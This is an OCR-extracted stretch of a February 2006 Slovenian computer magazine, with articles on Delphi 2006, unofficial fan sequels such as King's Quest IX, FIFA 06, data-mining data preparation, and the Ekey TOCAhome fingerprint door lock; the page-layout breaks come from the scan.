Saj veste, prešolanje uporabnikov, veščih programiranja, ni prav proces, ki bi se ga vsi veselili. Prvi vtis o novem okolju pa je navdušujoč. Stvari delujejo tako, kot morajo. Kljub manjšim napakam, ki pa jih odpravi servisni popravek, je Borland spet naredil odlično okolje z odličnimi zmogljivostmi. Naj dodamo, da Delphi praznuje že desetletnico in želimo mu, da naredi svet prijaznejši do programerjev in uporabnikov.  Borland Developer Studio – Delphi 2006 Namenjen: Razvijalcem programske opreme v okolju Windows Za: Spet odlično in stabilno okolje s precej novostmi; združevanje več jezikov v en programski paket. Proti: − Cena: Professional 313.736,88 SIT; Enterprise 719.580 SIT; Architect 1.004.533,69 SIT Spletni naslov proizvajalca: www.borland.com Posodil (prodaja): Marand, d.o.o. 78 igre Flash Obujanje stare slave Igre, ki jih po vzoru starih uspešnic ustvarjajo navdušeni amaterji, skušajo založniki zatreti že v kali. Piše : Matej Frece matej.frece@mojmikro.si I gričarska javnost to početje seveda sprejema z velikim nerazumevanjem, saj ji ni jasno, kaj je v teh amaterskih igrah tako slabega. Resda gre za krajo intelektualne lastnine, toda navsezadnje so takšne igre dober pokazatelj, da je kakšna serija še vedno dovolj priljubljena, da bi se založniku izplačalo investirati v še eno nadaljevanje. Sprva nerazumljiva represija založnika postane jasnejša, če upoštevamo, da so tovrstne amaterske igre zelo slabe v primerjavi z originali. Eno je, če nadebudni razvijalec iger ustvarja svoje avtorske igre, drugo pa je, če ob bok bleščeči seriji Monkey Island postavi skrpucalo z grozno grafiko, zanič vsebino in katastrofalnim zvokom – takšna igra, ne glede na njene lepe in čudovite namene, ki več kot očitno presegajo avtorjeve sposobnosti, založnikove igre spravlja v dokaj slabo luč. Seveda pa je tu še običajen razlog: če že gamer igra igre, naj igra tiste igre, ki jih je kupil – od brezplačnih iger fanov, ki svojo priljubljenost dobijo ravno zaradi povezave s kakšno znano franšizo, njeni lastniki pač ne morejo (pre)živeti. MISIJE NEMOGOČE A po drugi strani se založnikom v večini primerov ni treba bati. Vsakdo, ki se spravi ustvarjati svojo igro, kmalu ugotovi, da to ni mačji kašelj. Večina tovrstnih fan projektov skrivnostno zamre že po nekaj tednih ali mesecih, nekateri pa celo po nekaj letih. Tako so bile, recimo, pred nekaj leti v razvoju kar tri igre z naslovom Zak McCracken 2 (neuradna nadaljevanja ene izmed prvih in najboljših LucasArtsovih pustolovščin), a nobena ni bila končana. Ena izmed njih, www.zak2.org, je v razvoju že debelih 10 let in v tem času je nastal le reklamni posnetek. Več o drugh načrtovanih, a nikoli izdanih novih Zakovih pustolovščinah najdete na www. zaksite.co.uk/. Od vseh teh silnih projektov je bila dejansko izdana le AGS-različica prvega dela – torej ista igra z boljšo grafiko. Podobnih primerov je veliko. Iz neznanega razloga so se avtorji najbolj vrgli na LucasArtsove igre – tako (je) obstaja(lo) ogromo fan projektov o Indiani Jonesu (www.barnettcollege.com/) in Monkey Islandu, čeprav tudi Sierrine igre niso ostale neopažene: www.sq7. org muči svojo muko že nekaj let in nič kaj ne kaže, da bomo sedmi del Space Questa kadarkoli ugledali. Enako velja za šesti del igre Quest for Glory (www.hero6.com), ki v sedmih letih razvoja ni pokazal še ničesar razen par slikic. »USTAVI IN ODNEHAJ« A včasih se zgodi, da kakšna takšna igra le pride do svojega konca. Šele takrat se založniki zmigajo in avtorjem tik pred uradnim izidom igre pošljejo t. i. »cease and desist letter« – to je neke vrste grožnja v slogu, da če z razvojem igre takoj prenehajo in je ne izdajo, jih založnik ne bo tožil. Pri tem seveda šokirani razvijalec igre že vidi paleto najboljših odvetnikov na svetu, ki samo čakajo, da ga raztrgajo. In tako se potem plod večletnega dela, truda, znoja in odrekanja sfiži na žalosten pogled kot ga, na primer, najdete na http://www.lucasfangames.de/. NEKOČ JE ŽIVEL KRALJ ... Toda čudeži se vseeno dogajajo. Izvrsten primer je skupina fanov, ki se je kar malce samozaverovano oklicala za Phoenix Studio. Zbrali so se »daljnega« leta 2000 odločili, da bodo sami naredili deveti del priljubljene serije King's Quest. Naredimo hiter povzetek: Roberta Williams, sicer žena Kena Williamsa, ustanovitelja in šefa Sierre, je pisala igre konec sedemdesetih let prejšnjega stoletja. Čeprav njene igre vsebinsko niso bile prav nič posebnega (vedno je šlo bolj ali manj za (ne)posrečeno mešanico vseh možnih klišejev različnih žanrov – od pravljic do horrorja), so bile s tehnične plati vedno revolucionarne. Njen Mystery House je bila prva pustolovščina z grafiko, King's Quest 1 prva animirana pustolovščina, King's Quest 5 je imela za svoje čase tako lepo grafiko, da so ljudje padali v nezavest (in igra je bila za tiste čase, v obdobju 20-megabajtnih trdih diskov, nezaslišano požrešna, saj je zastevala kar 10 MB prostora!), Phantasmagoria je bila »prva« kinematična pustolovščina s pravimi igralci in še bi lahko naštevali. Njen paradni konj (in s tem paradni konj Sierre) je bila serija iger King's Quest, za katero moj mikro | 2 | februar | 2006 POD LUPO FIFA 06 se je zdelo, da enostavno ne more zgrešiti. Vsaka igra je bila finančni uspeh, koncept serije pa zastavljen tako, da bi lahko izšlo vsaj dve milijardi nadaljevanj brez vidne izgube kakovosti. A zgodilo se je ravno to: osmi del je bil tehnično in konceptualno tako drugačen, da se je zgodila katastrofa: igra je pogrnila, tako pri kritikih kot tudi igralcih. Ker se je to zgodilo v »novih« časih založništva, ko izdelava igre ni bila več poceni, temveč se je merila v milijonih dolarjev, je bilo zaradi tega serije konec. Ken je Sierro kmalu prodal in z Roberto zdaj živita na svoji jahti, krožita okrog sveta in pijeta šampanjec. FENIKS IZ PEPELA Toda osnovna »volilna baza« te serije je ostala. Čeprav se o osmici ne govori veliko (razen v spremljavi kopici besed žaljivega pomena), je lakota po še enem delu King's Questa postala tako velika, da so zgoraj omenjeni fantje pri Phoenix Studiu zavihali rokave in se odločili narediti deveti del kar sami. Brez dovoljenja Sierre (ki je medtem prenehala obstajati še kot ime, danes za bivšo Sierro velja Vivendi), česar so se zavedali od vsega začetka. Naredili so svojo spletno stran, www.kqix. com, in »že« po dveh letih se je izkazalo, da fantje mislijo smrtno resno. Slike, ki so jih prikazali, so bile videti resnično dobre, kot delo prekaljenih profesionalcev v igričarski industriji. In kar je bilo najlepše – pokazali so le začasne slike, saj naj bi bila grafika v končni različici veliko boljša. Med igričarsko srenjo je seveda završalo (kot se ob tovrstnih ambicioznih predstavitvah rado zgodi), nato je sledil običajen razvoj dogodkov – v naslednjih dveh, treh letih se ni zgodilo skorajda nič in projekt je bil že odpisan kot še eden v vrsti mnogih. Toda sredi leta 2005 so fantje izdali izjemno odmevno reklamo (trailer), ki je pokazala, da so ves ta čas marljivo delali. Reklama je izgledala zares impresivno. Tako zelo, da si jo je ogledal celo sam Ken Williams, ki je po ogledu javno komentiral, da bi, če bi bil še vedno šef Sierre, z veseljem financiral takšno igro. O kakšni slabi igri, ki bi vrgla luč na nekoč ponosno serijo, na srečo ni bilo govora. Prej nasprotno, King's Questu se je obetala vrnitev na pot stare slave. V PRIČAKOVANJU SREČNIH KONCEV Toda konec leta 2005 jih je doletel mrzel tuš: Vivendi, lastnik pravic do te serije, je zagrozil Phoenix Studiu, naj nemudoma prekinejo izdelavo igre, ki je bila tik pred izidom, sicer jih bo bombardiral NATO. Razočaranim avtorjem ni preostalo drugega, kot da sledijo tem »dobronamernim« nasvetom. A zgodba je že mesec dni pozneje dobila še en preobrat: igričarska srenja je na spletni strani www.savekqix. org zagnala takšno ihto, da so se pri Vivendiju premislili in kmalu objavili dovoljenje, da se KQ9 dejansko izda kot brezplačna igra in pri tem prav po odvetniško iskreno dodali, da se nove igre zelo veselijo.  Najpomembnejša postranska stvar na svetu Pred nami je nova različica nogometne igre FIFA, za katero ima podjetje Electronic Arts ekskluzivno licenco. Nogomet je šport, okrog katerega se vrti veliko denarja. Ponekod se v času nogometnega prvenstva vse ustavi in vsi spremljajo tekme in navijajo za svoje nogometaše. Spomnimo se samo naše pravljice o uspehu. Bi jo radi podoživeli? Piše : Milan Simčič milan.simcic@mojmikro.si Č e se vprašamo kaj je pri igricah najpomembnejše? To je zagotovo realizem, povezava s stvarnostjo. Vse skupaj mora biti čim boljši približek stvarnosti. Nova različica Fife poleg nadzora aktualnih igralcev ponuja še direktorski način igranja. To pomeni, da prevzamemo vroči menedžerski sedež v kateremkoli klubu po svoji izbiri. S tem prevzamemo nadzor nad vsem osebjem. To seveda pomeni, da bomo z igralci trgovali in podpisovali pogodbe, se soočali s poškodbami in težavami v klubu. Pri vsem tem pa bomo seveda morali izpolniti zahteve svojega nadzornega sveta in pokroviteljev od katerih pritekajo finančna sredstva. Kot glavni menedžer kluba bomo morali poskrbeti za primerno vzdušje v ekipi. V tem primeru bo vsak igralec vedel, kaj bo storil kateri izmed soigralcev. Igranje v taki ekipi je lažje. Zato je potrebno veliko treningov, na katerih se dvigujeta forma in morala. Morala posameznikov je odvisna tudi od tega, koliko časa igra oziroma presedi na klopi. Pomembno je tudi, da posameznik igra na mestu, ki mu najbolj leži. Noben napadalec ni zadovoljen, če mu dodelimo preveč obrabnih nalog, in nasprotno. Izbrati je potrebno tudi pravega kapetana, da bo ekipa delovala kot en mož. To pomeni, da morajo biti igralci uravnoteženi in se morajo razumeti. Saj veste, sami zvezdniki v ekipi včasih ne delujejo najbolje. MERJENJE UČINKOVITOSTI Naše delo bo ves čas spremljal merilnik učinkovitosti, da bomo vedeli ali nam gre do- bro od rok ali ne. Novi so tudi slogi igranja. Bela pomeni, da igramo brez sloga. Bronasta, srebrna in zlata opa pomenijo nizek, srednji in visok slog igranja. Omeniti velja tudi »man marking« ali po domače »flajšter«. Določimo enega izmed svojih igralcev, ki bo neprestano pokrival enega izmed nasprotnikov. Tako onemogočimo dobre nasprotnike. Določimo pa lahko do največ štiri take pare. TAKTIČNE MOŽNOSTI Pri Fifi 06 so me najbolj pozitivno presenetile hitre podaje in taktične možnosti med igro. Igralci se po igrišču premikajo zelo dobro, čeprav se včasih zgodi, da ne »ubogajo«. Pri podajanju lahko spreminjamo tudi moč podaje (daljši ali krajši pritisk na gumb), kar doprinese k precej bolj dinamični igri. Recimo podaje v prazen prostor. Med tekmo lahko spreminjamo tudi taktiko na igrišču. Za kar pa je potrebno precej vaje, ki jo pridobimo na treningih. Podobno velja za odvzem žoge nasprotniku. V novi različici so sodniki nekoliko strožji in nič ne bo pomagalo, pri rdečem kartonu bomo ostali brez enega izmed igralcev.  FIFA 06 Namenjen: Igranju nogometa in spoznavanju, kako je treba voditi nogometni klub. Za: Novi načini igranja, ogromno igralcev, ki jim lahko spreminjamo tudi lastnosti. Proti: Igranje je nekoliko zahtevnejše kot v prejšnjih različicah. Posledica je manj doseženih golov. Žoga se giblje nerealistično. Cena: 9700 SIT Prodaja: Colby, d.o.o. Spletni naslov: www.igabiba.com 79 V PRAKSI podatkovne zbirke Dokopljimo se do pravih podatkov Iz poglavja o OLAP-u smo se počasi prebili do podatkovnega izkopavanja. Na splošno slednje v praksi pomeni največjo dodano vrednost raziskovanja in vrednosti množice podatkov, iz katerih hočemo pridobiti največ, kar je možno. Piše : Darko Jagarinec darko.jagarinec@mojmikro.si P rišli smo do okolja, kjer imamo operativno podatkovno zbirko in transakcijski sistem (OLTP), podatke prečrpavamo v podatkovno skladišče in jih pregledujemo z orodji OLAP, zato nam na koncu manjka samo še pika na i. Slednji bi lahko rekli, da je eden izmed pravih vrednosti in razlogov, zakaj imeti podatkovno skladišče in uporabljati tehnologijo OLAP in pripadajoča orodja. Samo pregledovati in enostavno analizirati podatke bo kmalu postalo premalo. Kaj lahko izkuščimo še iz podatkov, ki jih hranimo recimo že 5 ali 10 let? Samo to, da primerjamo količine po mesecih in iščemo trende upadanja in naraščanja? Nikakor ne, bi bil enostaven odgovor, ampak vendarle, kaj nam je storiti? Omenil sem že, da je ponavadi rezultat podatkovnega izkopavanja drevo odločitve. Kako naj bi bilo videti tako drevo, si oglejte sliko 1. Na kratko, drevo v tem primeru ponazarja zelo preprosto odločitev, ali naj banka dodeli komitentu kredit ali ne. To v realnosti ne poteka tako in na tako malo načinov, a uporabil sem preprost vsakdanji primer. Bančni uslužbenec naj bi se glede na starost osebe, ali ima oseba redno zaposlitev in glede na plačo osebe odločil, ali naj komitentu odobri kredit ali ne. Za odločitev preprosto »potuje« po grafu oziroma drevesu, dokler ne pride do lista oziroma do konca veje – tam se skriva odgovor, ali naj komitent pridobi denarna sredstva iz kredita ali ne. Možen je tudi odgovor »mogoče«, kar terja lastno presojo bančnega uslužbenca, ali naj kredit odobri ali ne. stemsko pravilni (zaradi pravil pri prenašanju iz OLPT v podatkovno skladišče, filtriranja in dopolnjevanja manjkajočih in neobstoječih vrednosti, agregiranja in podobno). Pomembno je tudi, ali bomo podatke jemali samo iz enega vira. Če imamo več virov, je treba biti pazljiv: če uparjamo in združujemo več virov skupaj, moramo paziti, kaj bomo storili s podatki, ki so si podobni oziroma označujejo iste stvari – take podatke je treba spraviti na skupni imenovalec, da pozneje pri obdelavi in interpretaciji ne pride do zmešnjave. Če iz prvega vira dobivamo podatke za neko stvar v kilogramih, ne moremo za isto stvar dobivati iz drugega vira podatke v tonah in podobno. Podatke moramo nekako normalizirati, da so vse v enaki osnovni enoti; še posebej se zaplete, če je virov več in s tem več različnih velikostnih oznak, na primer kilogrami, tone, dekagrami – vse tri je treba spraviti na osnovno enoto za merjenje, ki jo določimo kar sami – naj bodo kilogrami − in to naj potem velja za vse količine, katerih težo označujemo. Pri vprašanju, koliko podatkov je dovolj, imamo na izbiro več odgovorov, najpravilnejši pa je tisti, ki pravi, da moramo vzeti koliko  Podatki morajo biti kakovostni, vsi, ki merijo isto količino, v enaki merski enoti, posebej pa pregledamo podatke, ki so nepopolni, kajti ti podatki nam lahko pokvarijo celotno izkopavanje. podatkov, da bo ravno dovolj. Seveda je to težavno vprašanje, ki nima pravega odgovora, kot nekakšno pravilo pa smo že omenili, da moramo vzeti čim večjo količino podatkov. Podatki o 10 računih nam ne bodo dali enakih rezultatov kot podatki o 1.000.000 računih, kar je razumljivo – vzeti moramo čim večji vzorec obravnavanja podatkov. Nekaj je pa seveda odvisno tudi od tehnike, ki jo uporabljamo za izkopavanje. Pomembno je tudi dejstvo, za kaj točno uporabljamo izkopavanje – samo ZBIRANJE IN PRIPRAVA PODATKOV Če uporabljamo za vir podatkov kar podatke iz podatkovnega skladišča, na tem mestu ne bi smeli imeti težav, ker so podatki praviloma že urejeni in si- 80 za simulacijo, kjer imamo ponavadi manj podatkov, ali pa za tisto pravo izkopavanje med ogromno količino podatkov. Rezultati so lahko tukaj zelo različni – določena tehnika se lahko pri izkopavanju majhne količine podatkov obnaša malce drugače, kot če bi obravnavala ogromno količino podatkov – tudi na to moramo biti povsem pazljivi in dobro poznati tehniko izkopavanja, ki jo bomo uporabili! Seveda to preprosto ugotovimo, ko začnemo spoznavati različne tehnike izkopavanja – takrat se pravzaprav odločimo, kako bomo stvar dokončno izpeljali. Podatki morajo biti kakovostni, vsi, ki merijo isto količino, v enaki merski enoti, posebej pa pregledamo podatke, ki so nepopolni, kajti ti podatki nam lahko pokvarijo celotno izkopavanje. Kadar se zavestno odločimo, da bodo nepopolni podatki ostali takšni, kot so, moramo računati tudi na posledice in možne napake. V kolikšni meri podatke očistimo nepravilnosti, je odvisno od našega časa, ki ga imamo namenjenega za ta korak priprave na izkopavanje. Za večje količine, če poznamo vzorec napake, ki se stalno ponavlja, lahko čiščenje avtomatiziramo, recimo manjkajoče Prikaz drevesa odločitve vrednosti zamenjamo s količino 0 ali -1, preverimo, kako so bila izračunana povprečja (ali so se upoštevale prazne vrednosti in jih zamenjamo z ustrezno vrednostjo in podobno). Če imamo možnost, lahko iste podatke, ki se pojavijo večkrat v različnih virih, normaliziramo in uporabljamo samo določen vir kot identifikacijski, drugi viri in njihovi podatki pa so tako ali tako povezani na ta vir prek ključa – odpravimo redundantnost ponavljajočih imen! Na tem koraku dodamo tudi vse izračunane atribute, kot je recimo število dni, odkar je komitent prvič uporabil bančno kartico, potem ko mu je bila izdana – in dodamo nov atribut »stevilo_dni_do_uporabe«, katerega vrednost je razlika med datumoma izdaje kartice in datumom prve uporabe na bančnem avtomatu, sistemu POS ali bančnem okencu. Vse atribute preverimo in ocenimo, kako bi čimveč atributov pretvorili na številčne vrednosti, predvsem zaradi poznejših matematičnih analiz (povprečje, standardni odklon, minimum, maksimum). Ravno izbira in priprava podatkov sta najzamudnejši opravili in sta za celoten proces kritični. Če podatkov nimamo dovolj, pa bi vendarle radi izvajali izkopavanje, se lahko omejimo samo na dober predstavitveni vzorec. Veliko enakih podatkov, pa čeprav jih moj mikro | 2 | februar | 2006 V PRAKSI podatkovne zbirke So modeli in tehnike enostavni za razumevanje? Poleg tega pa še strojna oprema – smo se lotili problema, ki bo rešljiv v nekaj urah ali v 120 letih? Ne nazadnje, koliko pa stanejo taka orodja in kje jih lahko kupimo? Kdo skrbi za vzdrževanje, izobraževanje s takimi orodji? Graf 1: Napor, ki je potreben pri vsakem koraku izkopavanja imamo ogromno, nam ponavadi ne prinesejo toliko sprememb, zato v določenih primerih lahko delamo samo z vzorci. Izbiranje in priprava podatkov sta poleg zamudnosti tudi aktivnosti, ki vzameta največ napora in volje zaposlenih. To delo ponavadi traja dolgo, kot rezultat pa dobimo prečiščene podatke, ki jih bomo šele raziskovali. Zato je ta korak tako kritičen pri končnem uspehu. Ko nam uspe izbrati in pripraviti dobre in kakovostne podatke, smo veliko dela že naredili. Če bi lahko napor izrazili v številkah, bi celoten napor, ki ga vložimo v izkopavanje izgledal tako, kot je prikazan na grafu 1. ODGOVORNOSTI PRI DELU Ko pridemo do točke, kjer se določijo odgovornosti za posamezne aktivnosti, ponavadi naletimo na nesoglasja. Mnenja, kdo bi moral za kaj skrbeti, so vedno različna, v svetu pa nekako velja približno naslednja shema odgovornosti: - informatik: pripravi podatke, skrbi za znanje, kje so podatki, kako podatke in vire združevati, - analitik: oceni primernost metod in izbere podatke, - poznavalec področja: vedno moramo  Problema se vedno lotimo postopoma, neracionalno bi bilo, če bi takoj na začetku že izvajali kompleksno izkopavanje, pri tem pa sploh ne bi vedeli, kaj delamo, kaj šele da bi znali interpretirati rezultate. TEHNIKE, ALGORITMI Pri izbiri tehnike vnaprej ne vemo, katero bomo izbrali. Vsak problem terja svojo tehniko, zato moramo najprej imeti podatke, določiti, kaj bomo pravzaprav iskali oziroma zakaj bomo izkopavali podatke. Ko to ugotovimo, lahko glede na lastnosti tehnik izberemo pravo, ki bo najbolj ustrezala izbranih in pripravljenim podatkom. Pri tem moramo vedeti, ali iščemo podatke, ki jih ne poznamo, ali pa dokazujemo kakšno tezo, za katero predvidevamo, da jo bomo dokazali. Če se nam dozdeva, da poleg vrča za čaj uspešno prodajamo tudi podstavke za čaj, poskusimo to dokazati. Če problem poznamo, si tako delo olajšamo. Ne moremo pa pričakovati, da bomo celotno stvar »zagnali« in da bodo ven prileteli samo oh in sploh navdušujoči rezultati – niti ne, problem si moramo zastaviti, nato pa ga dokazati, se približati določeni oceni ali pa tezo izpodbiti. Za vsako tehniko je pomembno tudi, kako natančna je; ali vrne rezultate v diskretnih vrednostih (1,2,3) ali na intervalih (1-8, 1640), oziroma na drugi strani z nekimi nemerskimi količinami (slab, dober, srednje dober, zelo dober, odličen in podobno). Po mojem mnenju sta pomembni še naslednji zadevi: Koliko so zaposleni vešči tega dela? postaviti dobro vprašanje, izbrati podatke, jih dobro interpretirati in določiti potek aktivnosti – skratka poznavalec naj bi vodil celoten postopek, ker je edini, ki bo dobro vedel, kaj nam je storiti, da pridemo do rezultatov. V PRAKSI V vsakdanjem izkopavanju velja nekaj pravil, ki se jih ponavadi držimo, če le nimamo skrajnega primera za obravnavo. Uporabljajte velike količine podatkov, torej veliko zapisov in temu primerno tudi veliko spremenljivk. Poskrbite predvsem za to, da ne bosta dve različni spremenljivki označevali isto količino! Določite nove spremenljivke, kar velja predvsem za razlike v datumih. Problema se lotimo vedno postopoma, neracionalno bi bilo, če bi takoj na začetku že izvajali kompleksno izkopavanje, pri tem pa sploh ne bi vedeli, kaj delamo, kaj šele da bi znali interpretirati rezultate. Odkrivati je treba povezave in zakonitosti korak za korakom, na vsakem koraku pa dodajte nove spremenljivke, da bi lahko ugotovili, kaj v največji meri vpliva na končni rezultat. S tem predvsem najdete spremenljivke (podatke), ki na določene odločitve sploh ne vplivajo – tudi to je namen izkopavanja, da najdete podatke, ki so najbolj kritični v poslovanju, in s tem dejavnike, ki najbolj pripomorejo k vašemu izboljšanem poslovanju. Zaradi nepoznavanja področja velja vedno poskusiti več modelov, ki bo najustreznejši, zato jih preskusite več. Če na kakšnem koraku »začutimo«, da bi bilo dobro, da bi imeli še kakšne dodatne podatke o določeni stvari, dodajmo atribut med že obstoječe in tako obogatimo nabor podatkov – mogoče bo ravno nov dodan atribut zelo pomemben pri končnem izkopavanju. ORODJA IN KRITERIJI Zasledil sem kaj nekaj orodij, ki jih najdete v internetu, posebej pa jih ne bom omenjal. Obstaja pa kar nekaj dobrih povezav v zvezi z izkopavanjem podatkov, med njimi se mi zdijo zanimive naslednje: - Izkopavanje podatkov na kratko: www.eco.utexas.edu/$tnorman/BUS.FOR/ course.mat/Alex/ - Kako izbrati programski paket: www.dmreview.com/editorial/newsletter_ article.cfm?nl=bireport&articleId=1000465 &issue=20003 - Tehnike in metode: www.statsoft.com/textbook/stdatmin.html Vsako orodje ni ustrezno glede na problem, ki ga moramo rešiti. Vsaka tehnika in orodje potrebujeta prečiščene podatke, kar pa je dostikrat glede na daljšo uporabo podatkovnih zbirk včasih težak problem (določeni atributi se skozi čas ukinjajo, dodajajo novi – za take je treba uvajati nove atribute, ki združijo take problematične atribute). Za orodje je pomembno tudi, s katerimi podatkovnimi zbirkami se lahko poveže in ali lahko podatke črpa iz več tabel hkrati (stavki SQL). Pomemben kriterij je tudi, kako se na koncu izkopavanja uporabniku podatki predstavijo– grafi, zgolj tabele, opisi rezultatov z besedami. Navsezadnje lahko rečemo, da tudi za orodja za izkopavanje veljajo enaki kriteriji kot za vsako drugo orodje oziroma programsko opremo.  81 V PRAKSI Ekey TOCAhome Prst namesto ključa Tehnologija, ki smo jo do nedavnega videvali le v najbolj norih znanstvenofantastičnih filmih, se počasi, vztrajno in hkrati na videz neopazno seli v naš vsakdan. Bralnik prstnih odtisov, ki zna odkleniti vrata, aktivirati alarmni sistem in vključiti/izključiti večino naprav, ki za svoje delovanje potrebujejo električno energijo, si lahko danes za kar sprejemljiv denar že privoščimo tudi domači uporabniki. Piše : Uroš Florjančič uros.florjancic@mojmikro.si ki pri nas trži sisteme Ekey TOCAhome, se je na mojo prošnjo z veseljem odzvalo in mi posodilo USB-bralnik prstnih odtisov. Ob nakupu bralnika, ki stane pregrešnih 24.000 tolarjev, dobimo še program, ki omogoča prijavo v sistem Windows, torej prstni odtis kot nadomestilo geslu za vstop v operacijski sistem. Programska oprema, ki bi uporabnikom omogočala dostop do elektronske pošte, ebanke in drugih zaščitenih vsebin, pa žal ni priložena. Žal mi ni uspelo prepričati niti katerega izmed »univerzalnih« programov za delo z USB-bralniki prstnih odtisov, saj z uporabljenim bralnikom ni znal delati nihče. Sem pa s tem vprašanjem poklical v pet računalniških trgovin, katerih imen tukaj ne bom omenjal. V štirih sem dobil odgovor, da »robe« nimajo na zalogi in da je nakup možen le po naročilu, v peti trgovini pa sem dobil ciničen odgovor: »Kupi si ga na Kitajskem.« Toliko o skrbi za kupce. Enoto lahko namestimo tudi pod domofon in tako tudi mlajšim družinskim članom omogočimo uporabo.  Notranja enota vsebuje vezje za delovanje in upravljanje celotnega sistema.  REŠITVE ZA DOM IN PODJETJA Č eprav so bralniki prstnih odtisov na trgu že nekaj let, med uporabniki niso razširjeni. Razlogov je več. Prvi je vsekakor neseznanjenost potencialnih uporabnikov s ponujenimi rešitvami, za kar se lahko »zahvalimo« predvsem pomanjkljivi promociji izdelkov. Drugi razlog je cena, ki pa se mi pri opisanem sistemu zdi že skoraj sprejemljiva za domačo rabo, medtem ko je ta strošek za podjetja zanemarljiv. Tretji razlog, ki preprečuje, da se bralniki prstnih odtisov ne razširijo bolj, so tudi nekateri prodajalci s svojo ozko usmerjenostjo. Ne gre zanemariti tudi tega, da so nekateri bralniki pri prepoznavanju prstnih odtisov precej nezanesljivi, kar pa pri opisanem sistemu na srečo ne drži. PRVE IZKUŠNJE: MEŠANE Ob nakupu in začetni uporabi sistema Ekey TOCAhome smo bili z delovanjem zelo zadovoljni, zato sem si zaželel še različico za osebni računalnik, da bi lahko nadomestil vpisovanje gesel za dostop do različnih podatkov. Podjetje, 82 Sistem Ekey TOCAhome prodaja podjetje Linde MPA, d.o.o. (www. lindempa.si), v treh različicah. Osnovna izvedba premore krmiljenje enega releja in zaporedni priključek za povezavo z osebnim računalnikom, omogoča pa vnos do 99 prstnih odtisov. Druga izvedba krmili do tri releje, vendar nima možnosti povezave z osebnim računalnikom, medtem ko tretja združuje prednosti prvih dveh in lahko nadzoruje do tri releje, ima pa tudi priključek za povezavo z osebnim računalnikom. Sistemi so dobra rešitev tako za domačo uporabo kot za uporabo v manjših podjetjih. Dom lahko zapustimo kadarkoli, ne da bi nas skrbelo, ali imamo ključe. Ravno tako se lahko otroci brezskrbno igrajo brez strahu, da bi izgubili ključ, v podjetju pa lahko precej okorne ID-kartice zamenjamo z bralnikom prstnih odtisov, ki nam lahko skupaj z osebnim računalnikom rabi tudi za evidenco prihodov/odhodov zaposlenih. NEZAHTEVNA MONTAŽA Ob nakupu sistema vam podjetje ponudi tudi montažo, ker pa ni prezahtevna, se je lahko s priloženimi navodili lotite tudi sami. Priklop naprave na že obstoječ sistem domofonov z električno ključavnico nam ne vzame več kot dobrih dvajset minut. Sistem je sestavljen iz dveh enot. Notranja enota, kot ime pove, sodi v notranjost objekta, zunanja pa je bralnik prstnih odtisov. Bralnik montiramo na mesto, ki ga ne doseže dež, deluje pa v območju od -200C do +700C. DODAJANJE IN UPRAVLJANJE UPORABNIKOV Po uspešni montaži s pomočjo prikazovalnika in štirih tipk v notranji enoti dodajamo in upravljamo uporabnike. Vnos uporabnikov je zaščiten z dvomestnim geslom, ki ga lahko poljubno spreminjamo. Če geslo trikrat napačno vnesemo, se ves sistem zaklene, nadaljnja uporaba pa je možna šele po preteku tridesetih minut. Postopek dodajanja uporabnikov je z jasno napisanimi priloženimi navodili otročje preprost, postopku sledi le še poteg prsta preko bralnika. Pri tem je pomembno, da na bralnik položimo celoten prst, ne le njegov vrh, nato pa rahlo, a ne prenežno pritisnemo in v enem potegu zdrsimo s prstom preko tipala. Večja odčitana površina prsta, pomeni tudi večja verjetnost, da nas bo v prihodnje sistem prepoznal. Tehnika, ki se uporablja v sistemih TOCA, se imenuje prepoznavanje minucij. Prednost minucij je predvsem velikost shranjenega podatkovnega zapisa, saj sistem shrani samo značilnosti prstnega odtisa, ne pa celotnega odtisa. Takšno shranjevanje je tudi varno, saj iz shramoj mikro | 2 | februar | 2006 V PRAKSI Ekey TOCAhome  V podjetju lahko precej okorno ID-kartico zamenjamo z bralnikom prstnih odtisov, ki nam lahko skupaj z osebnim računalnikom rabi tudi za evidenco prihodov/ odhodov zaposlenih. njenih podatkov ni možno rekonstruirati prstnega odtisa, običajen prostor za shranitev potrebnih podatkov pa ne presega 1 KB na odtis. Kot smo že omenili, lahko v sistem dodamo do 99 prstnih odtisov, v praksi pa je priporočljivo, da za vsakega uporabnika vnesemo vsaj po dva prstna odtisa, da ne pride do težav prepoznavanja pri morebitnih poškodbah, kot so večje ureznine, opekline, odrgnine in podobno. Poslastica sistema, ki bo bralcem še posebej všeč, je seveda možnost povezave naprave z osebnim računalnikom, s katerim lahko nato dodajamo in brišemo uporabnike, spremljamo vstope/izstope, kar je uporabno tudi pri registraciji prihoda na delo odhoda z dela. POVEZAVA Z OSEBNIM RAČUNALNIKOM Sistem Ekey TOCAhome lahko z 9-nožičnim zaporednim kablom povežemo z osebnim računalnikom, v katerem teče operacijski sistem Windows 2000 ali XP. Po povezavi vtiča RS 232 v notranji enoti ter ustreznih vrat COM v računalniku, namestimo bralniku priloženo programsko opremo Ekey TOCAhome PC. Namestitev je s pomočjo čarovnika hitra in nezahtevna. Po prvem zagonu novo nameščene programske opreme se s klikom na ukaz config dokopljemo do nastavitev vrat. Izberemo tista vrata, v katera smo priključili notranjo enoto sistema (na primer COM1), aktiviramo pa lahko tudi funkciji Cursorfill in Time. Ob aktiviranju funkcije Cursorfill nam programska oprema vnese imena oseb, katerih uspešna identifikacija je bila izvedena prek bralnika enote TOCAhome, na mesto, kjer je postavljen kazalec, na primer v Word ali Excel. Med ponujenimi možnostmi lahko izberemo med Cursorfill + CR ali Cursorfill +TAB, kar pomeni, da se za vsakim prebranim vnosom kazalec postavi v novo vrsto v prvem primeru, v drugem pa se posnema pritisk tipke TAB, kar nam omogoča izdelavo preglednih evidenc. Sistem nam poleg upravljanja uporabnikov (dodajanje in brisanje), omogoča tudi beleženje časa, ki ga lahko v podjetju koristno uporabimo tudi kot evidenco prihoda na delo. Z možnostjo TimeRecording se beležijo vsi podatki o dostopih (številka in ime uporabnika, prst, ime notranje enote, čas in pri enoti s tremi releji številka aktiviranega releja). Vendar izdelava evidenc deluje le takrat, kadar je notranja enota povezana z osebnim računalnikom, v katerem teče ustrezna programska oprema, pri tem pa je pomembno tudi to, da sistem nima svoje ure, zato za beleženje časa uporablja časovne nastavitve računalnika. Po izbranih nastavitvah, program ponovno zaženemo ter se z notranjo enoto TOCAhome povežemo z ukazom Connect. Povezava enote je možna takrat, ko je v sistem ročno vnesen vsaj en uporabnik. Vstop v program je zaščiten z že nastavljenim geslom, ki ga lahko poljubno spreminjamo, vnosu gesla pa se s pritiskom tipke SCAN izognete in v sistem vstopite s potegom v sistem prej vnesenega prsta prek bralnika. Tudi naslednja nastavitev je izredno dobrodošla, ne 